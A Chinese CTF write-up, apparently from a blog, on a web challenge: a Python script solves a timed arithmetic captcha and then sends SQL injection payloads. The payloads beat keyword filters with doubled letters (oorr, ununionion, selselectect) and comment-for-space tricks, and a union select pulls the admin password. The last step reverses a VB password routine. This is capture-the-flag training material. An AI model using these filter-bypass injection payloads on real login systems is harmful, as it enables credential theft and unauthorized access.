某平台CTF题目-Web-曲折的人生-wp
2020-02-05 23:30
113 查看
审题
下面就是该题目的主要页面,一共三个提交数据的地方,用户名、密码和验证码,其中用户名密码可能是利用的弱口令,也可能是万能密码,需要注意的是验证码是下面式子的计算结果,而且必须要在3秒内提交,这里我用python进行计算然后提交数据。
解题步骤
- 写一个python脚本获取到题目的页面,然后通过正则匹配到计算公式,然后将表单数据提交。
# 下面的代码是获取到页面内容,然后提取计算式进行计算得到结果。 r = requests.session() d = r.get("http://*****/index.php", timeout=5) dd = re.search("<div class='rep'>(.*?)</div>", d.text,re.I) # print(d.text) # print(type(dd.group(1))) # 得到的式子由于含有中文符号,导致eval()无法执行,所以要将中文符号替换为相对应的英文符号 dddd = dd.group(1).strip().replace(' ','').replace('(', "(").replace(')', ')').replace('X', '*') ddd = eval(dddd) # 这是计算结果
分析点击登录得到的URL请求头,需要注意这里的类型是表单形式。
得到结果后进行表单提交
# 这里的用户名与密码先随便填,看一下返回的数据是什么。 data = { "username":"ddd", "password":"ddd", "code": ddd } b = r.post('http://*******/index.php?check', data=data) print(b.text)
-
验证码正确,说明计算结果是没问题的。
-
在用户名这里它给返回了一条查询语句,
select id,username,password from
adminwhere username = 'ddd'
,通过这条语句可以判定这里存在sql注入,下面构造payload进行测试;
# 通过测试发现or被过滤了,通过oorr发现可以绕过 data = { "username":"dd' oorr '1'='1", "password":"dd", "code": ddd } b = r.post('http://*******/index.php?check', data=data) print(b.text)
-
通过查看返回的数据,可以看到返回了用户名
下面就剩下password需要解决,从上面的查询语句可以知道password,所以直接构造payload:ddd'/**/ununionion/**/selselectect/**/1, passwoorrd,2/**/from/**/admin/**/where/**/username='goodboy_g-60Hellowoorr'/**/oorr/**/'1'='1
,通过测试发现网站对union,select,空格进行了过滤,而且显示位就是第二个,所以构造了上面的payload。
执行成功后会直接显示查询出来的密码
完整的请求import requests r = requests.session() d = r.get("http://*******/index.php", timeout=5) dd = re.search("<div class='rep'>(.*?)</div>", d.text,re.I) dddd = dd.group(1).strip().replace(' ','').replace('(', "(").replace(')', ')').replace('X', '*') ddd = eval(dddd) data = { "username":"goodboy_g-60Hellowoorr", "password":"ajahas&&*44askldajaj", "code": ddd } b = r.post('http://*******/index.php?check', data=data) print(b.text)
-
本来以为这样就能得到flag,没想到又出来个代码审计,😐,访问这个链接,会得到一个压缩包,解压后出来一个文本文件和flag.zip,
查看文本文件,懵了,没见过的编程语言写的,通过搜索引擎查找到这应该是VB写的
-
通过分析得出,该代码的主要逻辑就是将Directory的值作为参数传给getPassword函数,然后通过该函数里的While中的处理返回数据并赋给password,然后有一个输入框,输入密码给psw然后与password比对是否相同,不相同弹出一个框框说明密码错误 ,相同的话,先弹个框,然后将刚刚输入框中的文字替换为 Password for next pass :这里调用getPassword(password),将处理后的password的值返回,这个值就是最后的解压密码
附上自己python版的代码:def get_password(str): reString = "" i = 1 while i <= len(str): reString += str[i-1:i:1] i += i%5 getPassword = reString return getPassword Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJs" \ "SnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkp" \ "rTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFa" \ "dFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZs" \ "ZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdh" \ "elY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpu" \ "SlRORUpUTkU=" password = get_password(Dictionary) password = get_password(password) print(password)
-
最后得出的密码为
VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk
-
将解压后的图片文件用记事本打开即可得到flag
总结
确实挺曲折的,这个代码审计真的触及到了我的知识盲区。
- 点赞
- 收藏
- 分享
- 文章举报
相关文章推荐
- BugkuCTF平台-Web题目笔记
- web 百度杯 ctf 一道简单的sql 注入绕过题目 sql
- 西普部分CTF题目(web)(持续更新)
- BugKuCTF(CTF-练习平台)——WEB-SQL注入1
- 【攻防世界】CTF web04-06 一些简单的题目
- 南邮CTF平台writeup:Web(一)
- BugkuCTF - 练习平台 - WEB——Writeup
- 南京邮电CTF 后面的几个WEB题目 By Assassinh
- “百度杯”CTF比赛2017年2月场WP--web
- 某ctf平台逆向题目-算法-writeup
- BugKuCTF(CTF-练习平台)——WEB-矛盾
- 南邮ctf训练平台逆向试题wp
- BugKuCTF(CTF-练习平台)——WEB-计算题
- CTF-练习平台 writeup web
- 关于BugkuCTF中web题目的总结
- github+docker复现CTF-web题目
- BugKuCTF(CTF-练习平台)——WEB-web基础$_GET
- SDUT_CTF_WEB题目writeup
- 南邮ctf-web-wp
- ctf题目 Web5